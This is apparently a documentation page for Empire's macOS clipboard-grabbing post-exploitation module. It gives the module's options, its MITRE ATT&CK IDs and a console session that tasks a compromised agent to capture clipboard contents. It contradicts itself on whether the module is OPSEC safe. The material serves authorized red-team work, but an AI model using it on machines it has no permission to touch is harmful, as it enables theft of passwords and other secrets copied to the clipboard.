ClipboardGrabber - Empire Module


This page contains detailed information about how to use the python/collection/osx/clipboard Empire module. For list of all Empire modules, visit the Empire Module Library.

Module Overview

Name: ClipboardGrabber
Module: python/collection/osx/clipboard
Source code: empire/server/modules/python/collection/osx/clipboard.yaml
MITRE ATT&CK: T1115, T1414
Language: Python
Needs admin: No
OPSEC safe: Yes
Background: No

The clipboard module will write log output of clipboard to stdout (or disk).

This module runs in a foreground and is OPSEC unsafe as it writes on the disk and therefore could be detected by AV/EDR running on the target system.

Note that the clipboard module does not need administrative privileges to work properly which means that a normal user can run this module.

Required Module Options

This is a list of options that are required by the clipboard module:

Agent
Agent to grab clipboard from.

MonitorTime
Optional for how long you would like to monitor clipboard in (s).

Additional Module Options

This is a list of additional options that are supported by the clipboard module:

OutFile
Optional file to save the clipboard output to.

Clipboard Example Usage

Here's an example of how to use the clipboard module in the Empire client console:

[+] New agent Y4LHEV83 checked in
[*] Sending agent (stage 2) to Y4LHEV83 at 192.168.204.135
(empire usestager/osx/ducky) > usemodule python/collection/osx/clipboard

 Author       @424f424f                                                           
 Background   False                                                               
 Description  This module will write log output of clipboard to stdout (or disk). 
 Language     python                                                              
 Name         python/collection/osx/clipboard                                     
 NeedsAdmin   False                                                               
 OpsecSafe    True                                                                
 Techniques   http://attack.mitre.org/techniques/T1115                            
              http://attack.mitre.org/techniques/T1414                            


,Record Options-------,----------,-------------------------------------,
| Name        | Value | Required | Description                         |
|-------------|-------|----------|-------------------------------------|
| Agent       |       | True     | Agent to grab clipboard from.       |
|-------------|-------|----------|-------------------------------------|
| MonitorTime | 0     | True     | Optional for how long you would     |
|             |       |          | like to monitor clipboard in (s).   |
|-------------|-------|----------|-------------------------------------|
| OutFile     |       | False    | Optional file to save the clipboard |
|             |       |          | output to.                          |
'-------------'-------'----------'-------------------------------------'

(Empire: usemodule/python/collection/osx/clipboard) > set Agent Y4LHEV83
[*] Set Agent to Y4LHEV83
(Empire: usemodule/python/collection/osx/clipboard) > set MonitorTime value
[*] Set MonitorTime to value
(Empire: usemodule/python/collection/osx/clipboard) > execute
[*] Tasked Y4LHEV83 to run Task 1
...

Now wait for the results to come.

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Version

This page has been created based on Empire version 4.1.3 (BC Security Fork).
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